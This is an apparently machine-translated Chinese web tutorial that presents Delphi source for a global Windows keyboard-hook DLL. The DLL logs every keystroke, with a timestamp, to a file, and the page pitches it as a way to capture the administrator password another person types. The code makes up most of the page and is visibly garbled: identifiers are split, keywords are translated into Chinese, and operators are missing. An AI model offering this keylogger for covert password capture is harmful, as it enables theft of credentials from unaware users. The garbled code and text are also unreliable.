Delphi编程使用HOOK监视Windows

Delphi编程使用HOOK监视Windows,第1张

Delphi编程使用HOOK监视Windows,第2张

每个节目都有自己的生存空室。在Windows系统中,你可以让你的程序随时执行一些操作,也可以触发消息。触发的消息有三种,一种是操作你程序的界面,onClick,onMouseMove等。,另一种是使用Windows消息机制来捕获一些系统消息。但是如果你想随时监控任何程序的情况,你可能会选择HOOK来实现。虽然还有其他方法,但不得不承认HOOK是一种相对简单的解决问题的方法。

下面是一个例子(用Delphi7.0调试):

如果您需要访问某人的机器,该人将在运行\SB后在您的机器上键入其管理员密码。当然,你也可以使用黑客工具获取他的密码,但为什么不试着自己写一个程序来记录所有的键盘操作呢?

首先需要说明的是,Hook不同于普通应用,它需要以全局DLL的形式出现。否则,您无法在程序的非活动状态下捕获其他信息。(当然可以使用Windows messages,这里不讨论)。

编写一个DLL来定义函数。

函数set key hook:bool;出口;
function endkey hook:bool;出口;
procedure key Hooke xit;远;
过程SetMainHandle(句柄:HWND);出口;向前;
函数keyboard hook handler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall出口;

procedure EntryPointProc(原因:整数);
const
hmap object:thand le = 0;
begin
DLL _ PROCESS _ ATTACH的case原因:
begin
hmap object:= create file mapping($ FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(THookRec),' _ CBT ');
rHookRec:= MapViewOfFile(hmap object,FILE_MAP_WRITE,0,0,0);
end;
DLL _ PROCESS _ DETACH:
begin
try
UnMapViewOfFile(rHookRec);
CloseHandle(hmap object);
除了
end;
end;
end;
end;
procedure key Hooke xit;远;
begin
if hnexthookproc 0 then endkey hook;
exit proc:= procsaveexit;
end;
function endkey hook:bool;出口;
begin
if hNexthookproc 0 then
begin
unhookwindowshookex(hNexthookproc);
hNexthookproc:= 0;
message beep(0);
end;
结果:= hNexthookproc = 0;
main handle:= 0;
end;

函数set key hook:bool;出口;
begin
hNexthookproc:= SetWindowsHookEx(WH _ KEYBOARD,keyboardhookhandler,HInstance,0);
result:= hnexthookproc 0;
end;
函数keyboard hook handler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall出口;
var
s:Tstringlist;
begin
if icode begin
result:= CallNextHookEX(hNexthookproc,icode,wparam,lparam);
退出;
end;
if lparam begin
exit;
end;
s:=TStringlist。创建;
如果FileExists(afilename),则
s . LoadFromFile(a filename);

//将敲击的键盘字符保存到一个文件
s . add(format datetime(' yyyymmdd hh:nn:ss:zzz:',now)+char(wparam));
s . savet ofile(a filename);
s .免费;

结果:= 0;
end;


位律师回复
DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
白度搜_经验知识百科全书 » Delphi编程使用HOOK监视Windows

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情